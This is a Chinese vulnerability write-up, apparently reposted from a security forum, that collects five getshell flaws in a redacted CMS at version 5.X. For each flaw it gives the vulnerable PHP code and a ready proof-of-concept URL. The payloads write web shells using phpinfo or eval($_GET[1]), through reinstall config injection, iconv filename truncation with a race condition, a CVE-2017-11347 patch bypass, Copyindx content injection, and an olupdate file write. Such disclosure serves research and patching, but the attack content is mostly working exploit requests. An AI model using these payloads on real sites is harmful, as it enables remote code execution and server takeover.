0x00 前言
首发于:先知社区: 某CMS 5.X版本GETSHELL漏洞合集
2018年1月底某CMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
0x01安装过程过滤不严导致Getshell
前提:有删除/config/install.lock权限
1. 结合网上爆出某CMS 的后台任意文件删除漏洞
1 |
|
删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:1
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
2. 重装时数据库配置文件过滤不当
1 | #/install/index.php |
在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
3. POC
数据库配置时修改任意参数为*/phpinfo();/*
可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
shell地址:http://xxx.com/config/config_db.php
0x02 iconv函数缺陷+条件竞争Getshell
前提:windows服务器+php版本<5.4.0
1. 漏洞点
1 | #\admin\app\batch\csv.php |
(1)文件名截断+任意内容写入
将lang_langshuom参数的值经过iconv转换后直接写文件,由于PHP版本<5.4.0时,会忽略掉不认识的字符,所以可以控制文件名参数lang_langshuom生成php后缀文件,同时将lang_csvexplain1、lang_csvexplain2、lang_csvexplain3参数的内容写入文件,所以存在getshell的风险。
请求如下:1
/admin/app/batch/csv.php?lang_title=11&lang_langshuom=tmp.php%80&lang_csvexplain1=eval($_GET[1]) @
(2)条件竞争
然而由于@file_unlink(iconv($codeold,$codenew,”./{$lang_langshuom}.txt”));会删除生成的shell文件,不能手动getshell,再次分析源码发现,此处为生成了shell文件,然后再删除。所以只要在删除前请求shell生成其他文件即可,即利用条件竞争,生成持久性webshell,写脚本即可实现。
2. POC脚本
1 | 略 |
修改参数后执行效果如下:1
2python poc.py
shell @ http://127.0.0.1/某CMS 5.3.19//admin/app/batch/shell.php
ps:
利用php特性可以不用条件竞争,直接getshell1
admin/app/batch/csv.php?lang_title=11&lang_langshuom=1.php/.%80&lang_csvexplain1=eval($_GET[1]) @
0x03 CVE-2017-11347补丁绕过继续Getshell
前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)
1. 查找绝对路径的方法:
- 利用安装目录下的phpinfo文件:
/install/phpinfo.php
- 利用报错信息(信息在HTML注释中,必须通过查看网页源码的方式才能获取内容,否则看上去是空白页)
1
2
3/app/system/include/public/ui/admin/top.php
/app/system/include/public/ui/admin/box.php
/app/system/include/public/ui/web/sidebar.php
2. 漏洞分析
5.3.19版本针对CVE-2017-11347的补丁分析1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31switch($val[2]){
case 1:
$address="../about/$fileaddr[1]";
break;
case 2:
$address="../news/$fileaddr[1]";
break;
case 3:
$address="../product/$fileaddr[1]";
break;
case 4:
$address="../download/$fileaddr[1]";
break;
case 5:
$address="../img/$fileaddr[1]";
break;
case 8:
$address="../feedback/$fileaddr[1]";
break;
default:
$address = "";
break;
}
$newfile ="../../../$val[1]";
if($address != ''){
Copyfile($address,$newfile);
}
}
}
即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
漏洞利用(网站安装在服务器根路径的情况):
第一步,新建1.ico文件,内容为:<?php phpinfo();?>
在后台”地址栏图标”处上传该文件。
得到地址为:http://localhost/upload/file/1506587082.ico
第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):1
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
shell的地址为:1
http://localhost/about/shell.php
3. POC(注意左斜杠和右斜杠不能随意更改):
1 | http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1 |
特别注意其中的:“网站index.php上层目录名”,
1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www”;网站index.php上层目录名设置为”www”; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为”html”;。其他的环境类推(利用绝对路径泄露)。
2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
例如:网站搭建在:http://localhost/某CMS 5.3.19/,则第二步的payload如下:1
2
http://localhost/某CMS 5.3.19/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\..\..\某CMS 5.3.19\about\shell.php|1
相应生成的shell地址为:1
http://localhost/某CMS 5.3.19/about/shell.php
0x04 Copyindx函数处理不当Getshell
1. 声明
此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347:https://github.com/imp0wd3r/vuln-papers/tree/master/某CMS-5317-auth-rce漏洞十分相似,但是存在根本的差异,不同点如下:
(1)触发函数是Copyindex函数,而非Copyfile
(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
(3)此漏洞Getshell不需要上传图片
(4)结合CSRF可以实现一键Getshell
2. 漏洞点
1 | # admin/app/physical/physical.php:197-236 |
当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于”index.php”则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:1
2
3
4
5
6
7
8
9
10#admin/include/global.func.php:877-884
function Copyindx($newindx,$type){
if(!file_exists($newindx)){
$oldcont ="<?php\n# 某CMS Enterprise Content Management System \n# Copyright (C) 某CMS Co.,Ltd (http://www.某CMS.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) 某CMS Co., Ltd. (http://www.某CMS.cn). All rights reserved.\n?>";
$fp = fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
3. POC(xxx为任意的shell目录,index.php文件名不能修改)
1 | http://localhost/某CMS 5.3.18/admin/app/physical/physical.php?action=op&op=3&valphy=123|xxx/index.php|123;phpinfo();?>/* |
生成的shell地址:1
http://localhost/某CMS 5.3.18/xxx/index.php
0x05 olupdate文件缺陷导致Getshell
1. 漏洞点
1 | #/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程 |
此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = “../update/$addr/{$con_db_name}{$date}{$random}_{$num}.sql”;会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)
最后的payload结构如下:1
&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000 system/olupdate.php?action=sql
2.POC (参数addr为生成shell的目录,生成shell的文件名sqlist.php不可控)
1 | http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string= phpinfo(); &addr=12313&tableid=1000 |
执行后的shell地址:1
http://xxx.com/admin/update/12313/sqlist.php